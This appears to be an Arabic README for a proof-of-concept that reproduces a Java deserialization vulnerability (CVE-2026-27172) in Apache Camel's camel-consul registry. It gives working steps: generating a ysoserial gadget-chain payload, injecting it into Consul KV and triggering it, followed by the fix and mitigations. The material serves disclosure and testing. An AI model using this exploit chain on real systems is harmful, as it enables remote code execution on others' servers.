أداة إعادة إنتاج ثغرة إلغاء التسلسل في ConsulRegistry بمكوّن camel-consul (CVE-2026-27172)

يعرض هذا المشروع ثغرة إلغاء تسلسل Java في مكوّن camel-consul الخاص بـ Apache Camel (ConsulRegistry)، والمُتتبَّعة باسم CVE-2026-27172. وهي من نفس فئة المشكلة مثل CVE-2024-22369 وCVE-2024-23114 وCVE-2026-25747، وقد جرى التغاضي عنها أثناء المعالجة الأصلية لتلك الثغرات.

النشرة الاستشارية: https://camel.apache.org/security/CVE-2026-27172.html

ملخص الثغرة

التفاصيل التقنية

يستخدم ConsulRegistry مخزن المفاتيح/القيم في Consul كسجلّ Camel. عند البحث عن bean بالاسم، تُفكَّك القيمة المخزَّنة من ترميز Base64 ثم يُلغى تسلسلها باستخدام ObjectInputStream خام، وفي الإصدارات المتأثرة، دون أي ObjectInputFilter:

// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // no filter (affected)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // NO FILTERING!
    }
}

يُلغى تسلسل أي كائن مخزَّن في مخزن Consul KV تحت مفتاح سيبحث عنه Camel لاحقًا. ويمكن للمهاجم القادر على الكتابة في مسار KV هذا أن يزرع حمولة سلسلة أدوات (gadget chain) تُنفَّذ عند حدوث البحث في السجلّ.

المتطلبات الأساسية

• Java 17+
• Maven 3.8+
• وكيل Consul قيد التشغيل (مخزن KV) — مثلًا عبر Docker
• ysoserial (لتوليد الحمولات)

خطوات إعادة الإنتاج

الخطوة 1: تشغيل Consul

docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

الخطوة 2: بناء التطبيق وتشغيله

mvn clean package -DskipTests
mvn spring-boot:run

الخطوة 3: تهيئة مفتاح السجلّ

curl http://localhost:8080/exploit/init

الخطوة 4: توليد حمولة خبيثة

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

يخزّن ConsulRegistry كائنات متسلسلة مُرمَّزة بصيغة Base64، لذا تُسلَّم الحمولة بصيغة Base64.

الخطوة 5: حقن الحمولة في مخزن Consul KV

curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

الخطوة 6: إطلاق إلغاء التسلسل (RCE!)

curl http://localhost:8080/exploit/trigger

تقرأ lookupByName() قيمة KV، وتفك ترميزها من Base64، ثم تلغي تسلسلها — منفِّذةً سلسلة الأدوات.

الخطوة 7: التحقق من الاستغلال

ls -la /tmp/pwned

إذا وُجد الملف /tmp/pwned، يكون الاستغلال قد نجح.

نواقل الهجوم

تُستثار الثغرة كلما حلَّ السجلّ (registry) مرجع bean:

1. مراجع Bean — .to("bean:...") وbean(...) و.process("...") بالاسم تستدعي جميعها lookupByName().
2. الحل عند بدء التشغيل — beans يتم حلّها أثناء بناء المسارات (routes).
3. البحث حسب النوع — findByType() / lookupByNameAndType() تكرران على إدخالات KV وتلغي تسلسلها.

شروط الاستغلال

1. صلاحية الكتابة إلى مخزن Consul KV الذي يدعم السجلّ:
   • مجموعة Consul مشتركة أو ذات إعدادات خاطئة
   • رمز ACL في Consul مخترَق أو مفرط الصلاحيات
   • ثغرة أخرى توفّر إمكانية كتابة إلى KV
2. مكتبة أدوات (gadget) في مسار الفئات (classpath):
   • commons-collections:3.2.1 (أدوات CommonsCollections1-7)
   • والعديد من المكتبات الأخرى (انظر ysoserial)

مقارنة مع ثغرات CVE الشقيقة

الإصلاح الموصى به

يضيف الإصلاح (CAMEL-23029) ObjectInputFilter قابلًا للضبط (الافتراضي: java.**;org.apache.camel.**;!*) إلى ConsulRegistryUtils.deserialize، ويتيح خيار deserializationFilter بحيث يمكن إدراج الفئات الموثوقة في قائمة السماح:

static Object deserialize(byte[] bytes, String deserializationFilter) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        if (deserializationFilter != null) {
            in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        }
        return in.readObject();
    }
}

التخفيف

إلى حين الترقية إلى إصدار مُصلَّح:

1. قيّد صلاحية الكتابة إلى Consul KV على هوية تطبيق Camel نفسها (رموز ACL بأقل الصلاحيات اللازمة).
2. أزل مكتبات الأدوات: رقِّ المكتبات المستضعفة مثل commons-collections 3.x أو أزلها.
3. تقسيم الشبكة: اعزل مجموعة Consul على شبكة موثوقة.

الملفات

CVE-2026-27172/
├── pom.xml                          # Maven configuration (affected camel-consul version)
├── README.md                        # This file
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── ConsulRegistryRoute.java  # Camel route (disabled; shows real usage)
    │   └── ExploitController.java    # REST endpoints for the PoC
    └── resources/
        └── application.properties

إخلاء المسؤولية

أداة إعادة الإنتاج هذه مقدَّمة لأغراض البحث الأمني والاختبار المصرَّح به فقط، لثغرة تم الإفصاح عنها علنًا وإصلاحها. لا تستخدمها ضد أنظمة دون إذن صريح.